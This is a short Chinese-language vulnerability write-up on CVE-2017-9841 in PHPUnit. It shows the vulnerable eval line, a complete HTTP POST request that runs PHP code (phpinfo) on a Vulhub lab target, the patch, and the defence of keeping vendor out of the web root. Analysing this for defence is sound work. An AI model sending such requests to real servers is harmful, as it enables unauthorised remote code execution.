0x01 简介

最近hw遇到phpunit的攻击流量,之前没分析过,这里简单看下。

Composer 是 PHP 用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。Composer 默认情况下不是全局安装,而是基于指定的项目的某个目录中(例如 vendor)进行安装,并将所有文件放在该目录中。

PHPUnit是一个轻量级的PHP测试框架。使用Composer来安装PHPUnit扩展时,PHPUnit的所有文件都会存在于vendor目录中。

0x02 CVE-2017-9841

靶机环境

靶机环境参考Vulhub:https://vulhub.org/#/environments/phpunit/CVE-2017-9841/

影响版本

phpunit漏洞版本如下:

  • 4.8.19-4.8.27
  • 5.0.10-5.6.2

漏洞原理

如果通过Composer安装的phpunit扩展的版本是漏洞版本,且vendor目录放在外部能访问的Web目录中,就存在phpunit远程代码执行漏洞。

漏洞代码,phpunit/src/Util/PHP/eval-stdin.php:

1
2
3
<?php

eval('?>' . file_get_contents('php://input'));

漏洞复现

直接往eval-stdin.php文件所在路径直接POST发送PHP代码即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: your-ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "903-591a03aa15600"
If-Modified-Since: Tue, 03 Sep 2019 06:30:48 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

<?php phpinfo();?>

补丁分析

5.6.3版本的eval-stdin.php:

1
2
3
<?php

eval('?>' . file_get_contents('php://stdin'));

就是将php://input伪协议替换为php://stdin伪协议。

这样当然能修补漏洞了。但是听说php://stdin伪协议在某些PHP SAPI场景下还是有问题的,这个可自行探究。

防御方法

不将vendor放在Web目录中。